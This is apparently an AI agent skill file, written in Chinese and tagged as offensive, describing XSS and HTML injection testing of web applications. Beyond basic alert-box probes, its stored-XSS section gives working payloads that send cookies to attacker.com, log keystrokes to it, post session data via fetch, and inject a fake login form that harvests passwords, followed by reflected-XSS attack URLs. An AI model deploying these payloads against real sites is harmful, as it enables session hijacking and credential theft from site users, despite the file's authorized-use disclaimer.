
关于
对 Web 应用执行全面的客户端注入漏洞评估,识别 XSS 和 HTML 注入缺陷,演示会话劫持和凭据窃取的利用技术,验证输入净化和输出编码机制
name: xss-html-injection description: "对Web应用程序执行全面的客户端注入漏洞评估,识别XSS和HTML注入缺陷,演示会话劫持和凭证窃取的利用技术,并验证输入净化和输出编码机制。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:此技能仅用于授权的安全评估、防御验证或受控教育环境。
跨站脚本攻击和HTML注入测试
目的
对Web应用程序执行全面的客户端注入漏洞评估,识别XSS和HTML注入缺陷,演示会话劫持和凭证窃取的利用技术,并验证输入净化和输出编码机制。此技能支持对存储型、反射型和基于DOM的攻击向量进行系统化检测和利用。
输入 / 前提条件
所需访问权限
- 具有用户输入字段的目标Web应用程序URL
- Burp Suite或浏览器开发者工具用于请求分析
- 用于存储型XSS测试的测试账户创建权限
- 启用JavaScript控制台的浏览器
技术要求
- 理解浏览器上下文中的JavaScript执行
- 了解HTML DOM结构和操作
- 熟悉HTTP请求/响应头
- 理解Cookie属性和会话管理
法律前提条件
- 安全测试的书面授权
- 定义的范围,包括目标域和功能
- 关于处理任何捕获的会话数据的协议
- 已建立的事件响应程序
输出 / 交付物
- 包含严重性分类的XSS/HTMLi漏洞报告
- 演示影响的概念验证载荷
- 会话劫持演示(受控环境)
- 包含CSP配置的修复建议
核心工作流程
阶段1:漏洞检测
识别输入反射点
定位用户输入在响应中被反射的区域:
# 常见注入向量
- 搜索框和查询参数
- 用户资料字段(姓名、简介、评论)
- URL片段和哈希值
- 显示用户输入的错误消息
- 仅有客户端验证的表单字段
- 隐藏表单字段和参数
- HTTP头(User-Agent、Referer)
基本检测测试
插入测试字符串以观察应用程序行为:
<!-- 基本反射测试 -->
<test123>
<!-- Script标签测试 -->
<script>alert('XSS')</script>
<!-- 事件处理器测试 -->
<img src=x onerror=alert('XSS')>
<!-- 基于SVG的测试 -->
<svg onload=alert('XSS')>
<!-- Body事件测试 -->
<body onload=alert('XSS')>
监控:
- 未编码的原始HTML反射
- 部分编码(某些字符被转义)
- 浏览器控制台中的JavaScript执行
- 检查器中可见的DOM修改
确定XSS类型
存储型XSS指标:
- 页面刷新后输入仍然存在
- 其他用户可以看到注入的内容
- 内容存储在数据库/文件系统中
反射型XSS指标:
- 输入仅出现在当前响应中
- 需要受害者点击精心构造的URL
- 跨会话无持久性
基于DOM的XSS指标:
- 输入由客户端JavaScript处理
- 服务器响应不包含载荷
- 利用完全在浏览器中发生
阶段2:存储型XSS利用
识别存储位置
针对具有持久用户内容的区域:
- 评论区和论坛
- 用户资料字段(显示名称、简介、位置)
- 产品评论和评分
- 私信和聊天系统
- 文件上传元数据(文件名、描述)
- 配置设置和偏好
构造持久载荷
<!-- Cookie窃取载荷 -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- 键盘记录器注入 -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- 会话劫持 -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- 钓鱼表单注入 -->
<div id="login">
<h2>会话已过期 - 请登录</h2>
<form action="http://attacker.com/phish" method="POST">
用户名: <input name="user"><br>
密码: <input type="password" name="pass"><br>
<input type="submit" value="登录">
</form>
</div>
阶段3:反射型XSS利用
构造恶意URL
构建包含XSS载荷的URL:
# 基本反射载荷
https://target.com/search?q=<script>alert(document.domain)</script>
# URL编码载荷
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# 参数中的事件处理器
https://target.com/page?name="><img src=x onerror=alert(1)>
# 基于片段的(用于DOM XSS)
https://target.com/page#<script>
兼容工具
Claude CodeCursor
标签
安全
